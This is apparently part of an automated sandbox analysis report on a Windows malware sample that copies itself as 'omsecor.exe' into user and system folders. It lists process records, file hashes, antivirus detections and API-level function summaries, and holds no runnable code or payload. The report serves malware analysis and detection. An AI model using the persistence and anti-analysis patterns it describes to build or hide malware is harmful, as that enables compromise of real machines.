Path:	C:\Users\user\Desktop\fmlgbgc2p5.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\fmlgbgc2p5.exe
Imagebase:	0x400000
File size:	98'330 bytes
MD5 hash:	809D8BEDB2DA450B588BF82E9A118FE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:09:16
Start date:	05/12/2024
Path:	C:\Users\user\AppData\Roaming\omsecor.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\omsecor.exe
Imagebase:	0x400000
File size:	98'330 bytes
MD5 hash:	6E897A612472AD8B51062A6844A8A17B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:09:16
Start date:	05/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7280 -s 304
Imagebase:	0xdd0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:09:16
Start date:	05/12/2024
Path:	C:\Users\user\AppData\Roaming\omsecor.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\omsecor.exe
Imagebase:	0x400000
File size:	98'330 bytes
MD5 hash:	6E897A612472AD8B51062A6844A8A17B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	12:09:16
Start date:	05/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7360 -s 276
Imagebase:	0xdd0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	12:10:07
Start date:	05/12/2024
Path:	C:\Windows\SysWOW64\omsecor.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\omsecor.exe
Imagebase:	0x400000
File size:	98'330 bytes
MD5 hash:	678D56882701DBE0727C09DD075B56D1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	12:10:08
Start date:	05/12/2024
Path:	C:\Windows\SysWOW64\omsecor.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\omsecor.exe
Imagebase:	0x400000
File size:	98'330 bytes
MD5 hash:	678D56882701DBE0727C09DD075B56D1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	12:10:08
Start date:	05/12/2024
Path:	C:\Users\user\AppData\Roaming\omsecor.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\omsecor.exe
Imagebase:	0x400000
File size:	98'330 bytes
MD5 hash:	A4BA09D8D586AF0201C2E6584BE09E59
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	12:10:08
Start date:	05/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 8072 -s 280
Imagebase:	0xdd0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	12:10:09
Start date:	05/12/2024
Path:	C:\Users\user\AppData\Roaming\omsecor.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\omsecor.exe
Imagebase:	0x400000
File size:	98'330 bytes
MD5 hash:	A4BA09D8D586AF0201C2E6584BE09E59
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	12:10:09
Start date:	05/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 8132 -s 276
Imagebase:	0xdd0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	12:10:57
Start date:	05/12/2024
Path:	C:\Windows\SysWOW64\omsecor.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\omsecor.exe
Imagebase:	0x400000
File size:	98'330 bytes
MD5 hash:	75B0F2A9AD432A0DBC138A050D744956
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	12:10:58
Start date:	05/12/2024
Path:	C:\Windows\SysWOW64\omsecor.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\omsecor.exe
Imagebase:	0x400000
File size:	98'330 bytes
MD5 hash:	75B0F2A9AD432A0DBC138A050D744956
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	12:10:58
Start date:	05/12/2024
Path:	C:\Users\user\AppData\Roaming\omsecor.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\omsecor.exe
Imagebase:	0x400000
File size:	98'330 bytes
MD5 hash:	50E482AEFE2A49BBCB4AAEE1B8C70305
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	12:10:58
Start date:	05/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7440 -s 248
Imagebase:	0xdd0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	12:10:58
Start date:	05/12/2024
Path:	C:\Users\user\AppData\Roaming\omsecor.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\omsecor.exe
Imagebase:	0x400000
File size:	98'330 bytes
MD5 hash:	50E482AEFE2A49BBCB4AAEE1B8C70305
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	12:10:59
Start date:	05/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7612 -s 260
Imagebase:	0xdd0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.1%
Dynamic/Decrypted Code Coverage:	0.3%
Signature Coverage:	8.3%
Total number of Nodes:	1163
Total number of Limit Nodes:	12

Executed Functions

Function 004012C0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNELBASE(ks clku .d,E61B8D13), ref: 004012DD

Part of subcall function 00401080: GetTickCount.KERNEL32 ref: 00401096
Part of subcall function 00401080: GetDesktopWindow.USER32 ref: 004010B8
Part of subcall function 00401080: GetClassNameA.USER32(00000000,00000000,00000400), ref: 004010CC
Part of subcall function 00401080: GlobalAlloc.KERNELBASE(00000000,000F6950), ref: 004010EE
Part of subcall function 00401080: GetCurrentProcess.KERNEL32(?), ref: 0040114B
Part of subcall function 00401080: GetProcessIoCounters.KERNEL32(00000000), ref: 0040114E
Part of subcall function 00401080: GetCurrentProcess.KERNEL32(?,?,?,?), ref: 004011B9
Part of subcall function 00401080: GetProcessTimes.KERNELBASE(00000000), ref: 004011BC

Strings

ks clku .d, xrefs: 004012D8

Memory Dump Source

Source File: 00000000.00000002.1641140611.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1641121132.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641140611.000000000040D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641183888.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: Process$Current$AllocClassCountCountersDesktopFileFindFirstGlobalNameTickTimesWindow
String ID: ks clku .d
API String ID: 973805369-4096487313
Opcode ID: f572dfb4ccbad4a63051ea1b90dc6402510860d94203dc7c9fb76134c3d65c66
Instruction ID: 8201e92c16030f82e268503128fd01f75d7624b5287a074f0a6a6b49dcde2be8
Opcode Fuzzy Hash: f572dfb4ccbad4a63051ea1b90dc6402510860d94203dc7c9fb76134c3d65c66
Instruction Fuzzy Hash: 13C012701042448FC330AF24DE0ABAA37E4AB48300F00093AA5E8E60A4DA3455598A8A

Function 00401080 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 156
memorytimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00401096
GetDesktopWindow.USER32 ref: 004010B8
GetClassNameA.USER32(00000000,00000000,00000400), ref: 004010CC
GlobalAlloc.KERNELBASE(00000000,000F6950), ref: 004010EE
GetCurrentProcess.KERNEL32(?), ref: 0040114B
GetProcessIoCounters.KERNEL32(00000000), ref: 0040114E
GetCurrentProcess.KERNEL32(?,?,?,?), ref: 004011B9
GetProcessTimes.KERNELBASE(00000000), ref: 004011BC

Strings

cjkU dklu UUido c;aopi quio ,mvnciu cxklnsp, xrefs: 00401131

Memory Dump Source

Source File: 00000000.00000002.1641140611.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1641121132.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641140611.000000000040D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641183888.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: Process$Current$AllocClassCountCountersDesktopGlobalNameTickTimesWindow
String ID: cjkU dklu UUido c;aopi quio ,mvnciu cxklnsp
API String ID: 509927810-2920797944
Opcode ID: e0b8abb97aa25d1df5e5a951dd4f26f151847d18626d26f9063e3e0a3aa5dc8f
Instruction ID: 30898c1c04428891cb82ceb7e239a2b08516cd6c9376f1465321758e23d54b14
Opcode Fuzzy Hash: e0b8abb97aa25d1df5e5a951dd4f26f151847d18626d26f9063e3e0a3aa5dc8f
Instruction Fuzzy Hash: E55127F1D041744BDB288B298D54BB9BBF5ABC5305F0881BEE689B7381D5385A48CF28

Function 00407A98 Relevance: 9.1, APIs: 6, Instructions: 65
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00407A8F), ref: 00407A98
GetModuleHandleA.KERNEL32(?,00407A8F), ref: 00407AEA
GetProcAddress.KERNEL32(00000000,00000000), ref: 00407B12

Part of subcall function 00407AB5: GetProcAddress.KERNEL32(00000000,00407AA6), ref: 00407AB6
Part of subcall function 00407AB5: VirtualProtect.KERNELBASE(?,00000078,00000004,?,00000000,00000000,00407AA6,00407A8F), ref: 00407AC8
Part of subcall function 00407AB5: VirtualProtect.KERNELBASE(?,00000078,?,?,?,00000000,00000000,00407AA6,00407A8F), ref: 00407ADC

Memory Dump Source

Source File: 00000000.00000002.1641140611.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1641121132.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641140611.000000000040D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641183888.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID:
API String ID: 2099061454-0
Opcode ID: 18a205e926d3f8c1bd8ceb8f3c836a0ea39c7540959748e6d39d93322aab4e9f
Instruction ID: 53099f65029657388ac4b193d9ffb221688749bb3c6439a8311ebbe5e3b7996f
Opcode Fuzzy Hash: 18a205e926d3f8c1bd8ceb8f3c836a0ea39c7540959748e6d39d93322aab4e9f
Instruction Fuzzy Hash: B501CC00F4D24539DA2051754C0197F7AA89A533687141677A111B72D3D9BCBE0692BF

Function 00407A59 Relevance: 7.6, APIs: 5, Instructions: 100
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(?,00407A8F), ref: 00407AEA
GetProcAddress.KERNEL32(00000000,00000000), ref: 00407B12

Part of subcall function 00407A98: GetModuleHandleA.KERNEL32(00407A8F), ref: 00407A98
Part of subcall function 00407A98: GetProcAddress.KERNEL32(00000000,00407AA6), ref: 00407AB6
Part of subcall function 00407A98: VirtualProtect.KERNELBASE(?,00000078,00000004,?,00000000,00000000,00407AA6,00407A8F), ref: 00407AC8
Part of subcall function 00407A98: VirtualProtect.KERNELBASE(?,00000078,?,?,?,00000000,00000000,00407AA6,00407A8F), ref: 00407ADC

Memory Dump Source

Source File: 00000000.00000002.1641140611.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1641121132.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641140611.000000000040D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641183888.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID:
API String ID: 2099061454-0
Opcode ID: 731a18adefd9f684ec9123585341c8004b06a9316977ab842e52f252e525921e
Instruction ID: 8932c9a1b40894ead954c0166dfb712feb6fdadac19e13bdf209ed336a7ac0e8
Opcode Fuzzy Hash: 731a18adefd9f684ec9123585341c8004b06a9316977ab842e52f252e525921e
Instruction Fuzzy Hash: DE21F621A4D2416EEB2186B44C0166B7BE49B13368F1946A7D141EB2C3D1BC7D4687AB

Function 00407AB5 Relevance: 7.6, APIs: 5, Instructions: 54
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(00000000,00407AA6), ref: 00407AB6
VirtualProtect.KERNELBASE(?,00000078,00000004,?,00000000,00000000,00407AA6,00407A8F), ref: 00407AC8
VirtualProtect.KERNELBASE(?,00000078,?,?,?,00000000,00000000,00407AA6,00407A8F), ref: 00407ADC
GetModuleHandleA.KERNEL32(?,00407A8F), ref: 00407AEA
GetProcAddress.KERNEL32(00000000,00000000), ref: 00407B12

Memory Dump Source

Source File: 00000000.00000002.1641140611.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1641121132.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641140611.000000000040D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641183888.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: AddressProcProtectVirtual$HandleModule
String ID:
API String ID: 2152742572-0
Opcode ID: f81dfe0726a7f77e278230a0c4648d339da411b55a21776b762b5ef698216b3c
Instruction ID: 39b30828dda2cca0c429c80848ec8113aa03dbdf6ed959677c669bf53de2d5ad
Opcode Fuzzy Hash: f81dfe0726a7f77e278230a0c4648d339da411b55a21776b762b5ef698216b3c
Instruction Fuzzy Hash: 98F0F400E8D2043CEE2151B40C01ABBBBEC86633687241A27A211E72C3D4BC7E0692BB

Function 00402F3E Relevance: 3.0, APIs: 2, Instructions: 28
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,004017AC,00000001), ref: 00402F4F
HeapDestroy.KERNEL32 ref: 00402F85

Memory Dump Source

Source File: 00000000.00000002.1641140611.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1641121132.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641140611.000000000040D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641183888.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: Heap$CreateDestroy
String ID:
API String ID: 3296620671-0
Opcode ID: 7bbac67fe878dc3ebcdb7e33c34032945d00a98356e3978511e20ae8c663db98
Instruction ID: 98ebcd61208b82bef51758d9ec37e8992e6abd11400b15b10fa3614edeb5f36b
Opcode Fuzzy Hash: 7bbac67fe878dc3ebcdb7e33c34032945d00a98356e3978511e20ae8c663db98
Instruction Fuzzy Hash: D3E092706643029EEB40AB31AF0D72636E4E74078AF10843BF548F51E2EBBC8605AF4C

Non-executed Functions

Function 00404854 Relevance: 24.7, APIs: 8, Strings: 6, Instructions: 164
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(USER32.DLL,00000000,00000000,00000314,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00404881
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 0040489D

Part of subcall function 00401AAA: TlsGetValue.KERNEL32(00000000,00401B1F,00000000,00404862,00000000,00000000,00000314,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401AB7
Part of subcall function 00401AAA: TlsGetValue.KERNEL32(00000004,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401ACE

GetProcAddress.KERNEL32(00000000,00000000), ref: 004048BA

Part of subcall function 00401AAA: GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401AE3
Part of subcall function 00401AAA: GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00401AFE

GetProcAddress.KERNEL32(00000000,00000000), ref: 004048CF
__invoke_watson.LIBCMT ref: 004048F0

Part of subcall function 00404121: _memset.LIBCMT ref: 004041AD
Part of subcall function 00404121: IsDebuggerPresent.KERNEL32(?,?,00000000), ref: 004041CB
Part of subcall function 00404121: SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,00000000), ref: 004041D5
Part of subcall function 00404121: UnhandledExceptionFilter.KERNEL32(0040B078,?,?,00000000), ref: 004041DF
Part of subcall function 00404121: GetCurrentProcess.KERNEL32(C000000D,?,?,00000000), ref: 004041FA
Part of subcall function 00404121: TerminateProcess.KERNEL32(00000000,?,?,00000000), ref: 00404201

Part of subcall function 00401B21: TlsGetValue.KERNEL32(00000000,00401BB6,?,?,?,00402F66), ref: 00401B2E
Part of subcall function 00401B21: TlsGetValue.KERNEL32(00000004,?,?,?,00402F66), ref: 00401B45

Part of subcall function 00401B21: GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,?,?,00402F66), ref: 00401B5A
Part of subcall function 00401B21: GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 00401B75

GetProcAddress.KERNEL32(00000000,GetUserObjectInformationA), ref: 00404904
GetProcAddress.KERNEL32(00000000,GetProcessWindowStation), ref: 0040491C
__invoke_watson.LIBCMT ref: 0040498F

Strings

USER32.DLL, xrefs: 0040487C
GetLastActivePopup, xrefs: 004048C2
GetActiveWindow, xrefs: 004048AD
GetProcessWindowStation, xrefs: 00404916
MessageBoxA, xrefs: 00404897
GetUserObjectInformationA, xrefs: 004048FE

Memory Dump Source

Source File: 00000000.00000002.1641140611.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1641121132.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641140611.000000000040D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641183888.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: AddressProc$Value$ExceptionFilterHandleModuleProcessUnhandled__invoke_watson$CurrentDebuggerLibraryLoadPresentTerminate_memset
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$USER32.DLL
API String ID: 2940365033-232180764
Opcode ID: d0843e3b680be133648664f8717c69194e3d07d516d4994a3cb1c1e79535d4f8
Instruction ID: 59fbdf2cbb2ff75c7ae2a14c3bd4fe5a66861bdf874bec260bfce3d1cd22fe51
Opcode Fuzzy Hash: d0843e3b680be133648664f8717c69194e3d07d516d4994a3cb1c1e79535d4f8
Instruction Fuzzy Hash: FD4163F1D00205AEDF10AFB59D86A6F7BA4EB94305B14083FE505F22E0DB7D9944CA5E

Function 00421170 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 004016EA
GetProcessHeap.KERNEL32(00000000,00000094), ref: 00401705
RtlAllocateHeap.NTDLL(00000000), ref: 00401708
_fast_error_exit.LIBCMT ref: 00401716

Part of subcall function 00401671: __FF_MSGBANNER.LIBCMT ref: 0040167A

___security_init_cookie.LIBCMT ref: 004018B6

Strings

j`h, xrefs: 004016D6, 004018BB

Memory Dump Source

Source File: 00000000.00000002.1641140611.000000000040D000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1641121132.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641140611.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641183888.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: Heap$AllocateInfoProcessStartup___security_init_cookie_fast_error_exit
String ID: j`h
API String ID: 2660455748-2627015977
Opcode ID: c8d3cbbb43655427b4a603559900b38778fbedebf47b5c9131e32ddd9e0d4b3d
Instruction ID: 38895570f31eb67b982826470c9dd1e6c230b0faa58df9c9f10e023fb9096192
Opcode Fuzzy Hash: c8d3cbbb43655427b4a603559900b38778fbedebf47b5c9131e32ddd9e0d4b3d
Instruction Fuzzy Hash: 4DF0E936E48301D7E720A7A09D49B2D3134AB44765F34053BE001BB2E1CDBC4942661F

Function 00401662 Relevance: 7.6, APIs: 5, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 004020B3
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004020C8
UnhandledExceptionFilter.KERNEL32(00408204), ref: 004020D3
GetCurrentProcess.KERNEL32(C0000409), ref: 004020EF
TerminateProcess.KERNEL32(00000000), ref: 004020F6

Memory Dump Source

Source File: 00000000.00000002.1641140611.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1641121132.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641140611.000000000040D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641183888.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: bf9e4dc40609aede9a22b05b14043da035278ae7b0f51125174d724f9b36215e
Instruction ID: b20ca496c67c0111f9bdb02fdd2caa8760b953d18a2e8655b2b95bf976f6fc72
Opcode Fuzzy Hash: bf9e4dc40609aede9a22b05b14043da035278ae7b0f51125174d724f9b36215e
Instruction Fuzzy Hash: 5321AEB5950304DFC710EF24EF48A453BB5BF88306F10403AE549B36A1E7B859A59F9E

Function 0040213B Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000020FE), ref: 00402140

Memory Dump Source

Source File: 00000000.00000002.1641140611.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1641121132.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641140611.000000000040D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641183888.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 935903d1246056ec072c2b6f805f6196f3f8f058df6acf2eaccc246f31e18100
Instruction ID: dcff0890bebcf140c8cc589396629a1fb90812a7206754ae37c15cb8782ea16a
Opcode Fuzzy Hash: 935903d1246056ec072c2b6f805f6196f3f8f058df6acf2eaccc246f31e18100
Instruction Fuzzy Hash: A29002A02923005AC64017709F0D50535906A4861275284756145F44E4DEF44098F519

Function 0042117B Relevance: .8, Instructions: 751COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1641140611.000000000040D000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1641121132.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641140611.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641183888.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcf88edd903997ba0d45f657b351e7f0d641ff21066f36589517d37c3ba8912e
Instruction ID: 0e311bcd35e9ec61c2f1014f34d0078782a6940f0d525e91e9a8e8fef8a8f8c0
Opcode Fuzzy Hash: bcf88edd903997ba0d45f657b351e7f0d641ff21066f36589517d37c3ba8912e
Instruction Fuzzy Hash: A262AB316083658FD324DF28C48025ABBF1FF95344F554A2EE9A5CB360E735E949CB46

Function 00402465 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 156
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strcpy_s.LIBCMT ref: 004024D1
__invoke_watson.LIBCMT ref: 004024E2
GetModuleFileNameA.KERNEL32(00000000,0040B091,00000104), ref: 004024FE
_strcpy_s.LIBCMT ref: 00402513
__invoke_watson.LIBCMT ref: 00402526
_strlen.LIBCMT ref: 0040252F
_strlen.LIBCMT ref: 0040253C
__invoke_watson.LIBCMT ref: 00402569
_strcat_s.LIBCMT ref: 0040257C
__invoke_watson.LIBCMT ref: 0040258D
_strcat_s.LIBCMT ref: 0040259E
__invoke_watson.LIBCMT ref: 004025AF
GetStdHandle.KERNEL32(000000F4,?,?,00000000,77735E70,00000003,00402631,000000FC,0040667C,00000001,00000000,00000000,?,00403FFF,?,00000001), ref: 004025CE
_strlen.LIBCMT ref: 004025EF
WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,00403FFF,?,00000001,?,00403478,00000018,004093D0,0000000C,00403507,?), ref: 004025F9

Strings

Microsoft Visual C++ Runtime Library, xrefs: 004025BC
<program name unknown>, xrefs: 00402508
Runtime Error!Program: , xrefs: 004024C0
..., xrefs: 0040254D

Memory Dump Source

Source File: 00000000.00000002.1641140611.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1641121132.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641140611.000000000040D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641183888.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

